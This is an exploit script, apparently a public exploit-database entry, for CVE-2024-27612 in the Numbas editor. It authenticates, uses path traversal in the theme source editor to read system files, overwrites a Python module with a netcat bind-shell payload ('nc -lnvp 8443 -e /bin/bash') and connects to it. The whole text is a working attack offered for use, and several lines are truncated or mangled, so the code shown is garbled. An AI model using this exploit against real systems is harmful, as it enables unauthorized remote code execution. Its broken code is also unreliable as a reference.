# Exploit Title: Numbas < v7.3 - Remote Code Execution  
# Google Dork: N/A  
# Date: March 7th, 2024  
# Exploit Author: Matheus Boschetti  
# Vendor Homepage:  
# Software Link:  
# Version: 7.2 and below  
# Tested on: Linux  
# CVE: CVE-2024-27612  
import sys, requests, re, argparse, subprocess, time  
from bs4 import BeautifulSoup  
s = requests.session()  
def getCSRF(target):  
url = f"http://{target}/"  
req = s.get(url)  
soup = BeautifulSoup(req.text, 'html.parser')  
csrfmiddlewaretoken = soup.find('input', attrs={'name': 'csrfmiddlewaretoken'})['value']  
return csrfmiddlewaretoken  
def createTheme(target):  
# Format request  
csrfmiddlewaretoken = getCSRF(target)  
theme = 'ExampleTheme'  
boundary = '----WebKitFormBoundaryKUMXsLP31HzARUV1'  
data = (  
'Content-Disposition: form-data; name="csrfmiddlewaretoken"\r\n'  
'Content-Disposition: form-data; name="name"\r\n'  
headers = {'Content-Type': f'multipart/form-data; boundary={boundary}',  
'User-Agent': 'Mozilla/5.0',  
'Accept': '*/*',  
'Connection': 'close'}  
# Create theme and return its ID  
req ="http://{target}/theme/new/", headers=headers, data=data)  
redir = req.url  
split = redir.split('/')  
id = split[4]  
print(f"\t[i] Theme created with ID {id}")  
return id  
def login(target, user, passwd):  
print("\n[i] Attempting to login...")  
csrfmiddlewaretoken = getCSRF(target)  
data = {'csrfmiddlewaretoken': csrfmiddlewaretoken,  
'username': user,  
'password': passwd,  
'next': '/'}  
# Login  
login ="http://{target}/login/", data=data, allow_redirects=True)  
res = login.text  
if("Logged in as" not in res):  
print("\n\n[!] Login failed!")  
# Check if logged and fetch ID  
usermatch ='Logged in as <strong>(.*?)</strong>', res)  
if usermatch:  
user =  
idmatch ='<a href="/accounts/profile/(.*?)/"><span class="glyphicon glyphicon-user">', res)  
if idmatch:  
id =  
print(f"\t[+] Logged in as \"{user}\" with ID {id}")  
def checkVuln(url):  
print("[i] Checking if target is vulnerable...")  
# Attempt to read files  
themeID = createTheme(url)  
target = f"http://{url}/themes/{themeID}/edit_source?filename=../../../../../../../../../.."  
hname = s.get(f"{target}/etc/hostname")  
ver = s.get(f"{target}/etc/issue")  
hnamesoup = BeautifulSoup(hname.text, 'html.parser')  
versoup = BeautifulSoup(ver.text, 'html.parser')  
hostname = hnamesoup.find('textarea').get_text().strip()  
version = versoup.find('textarea').get_text().strip()  
if len(hostname) < 1:  
print("\n\n[!] Something went wrong - target might not be vulnerable.")  
print(f"\n[+] Target \"{hostname}\" is vulnerable!")  
print(f"\t[i] Running: \"{version}\"")  
# Cleanup - delete theme  
print(f"\t\t[i] Cleanup: deleting theme {themeID}...")  
target = f"http://{url}/themes/{themeID}/delete"  
csrfmiddlewaretoken = getCSRF(url)  
data = {'csrfmiddlewaretoken':csrfmiddlewaretoken}, data=data)  
def replaceInit(target):  
# Overwrite with arbitrary code  
rport = '8443'  
payload = f"import subprocess;subprocess.Popen(['nc','-lnvp','{rport}','-e','/bin/bash'])"  
csrfmiddlewaretoken = getCSRF(target)  
filename = '../../../../numbas_editor/numbas/'  
themeID = createTheme(target)  
data = {'csrfmiddlewaretoken': csrfmiddlewaretoken,  
'source': payload,  
'filename': filename}  
print("[i] Delivering payload...")  
# Retry 5 times in case something goes wrong...  
for attempt in range(5):  
try:"http://{target}/themes/{themeID}/edit_source", data=data, timeout=10)  
except Exception as e:  
# Establish connection to bind shell  
print(f"\t[+] Payload delivered, establishing connection...\n")  
if ":" in target:  
split = target.split(":")  
ip = split[0]  
ip = str(target)  
subprocess.Popen(["nc", "-n", ip, rport])  
while True:  
def main():  
parser = argparse.ArgumentParser()  
if len(sys.argv) <= 1:  
print("\n[!] No option provided!")  
print("\t- check: Passively check if the target is vulnerable by attempting to read files from disk\n\t- exploit: Attempt to actively exploit the target\n")  
print(f"[i] Usage: python3 {sys.argv[0]} <option> --target --user example --passwd qwerty")  
group = parser.add_mutually_exclusive_group(required=True)  
group.add_argument('action', nargs='?', choices=['check', 'exploit'], help='Action to perform: check or exploit')  
parser.add_argument('--target', help='Target IP:PORT')  
parser.add_argument('--user', help='Username to authenticate')  
parser.add_argument('--passwd', help='Password to authenticate')  
args = parser.parse_args()  
action = args.action  
target =  
user = args.user  
passwd = args.passwd  
print("\n\t\t-==[ CVE-2024-27612: Numbas Remote Code Execution (RCE) ]==-")  
if action == 'check':  
login(target, user, passwd)  
elif action == 'exploit':  
login(target, user, passwd)  
if __name__ == "__main__":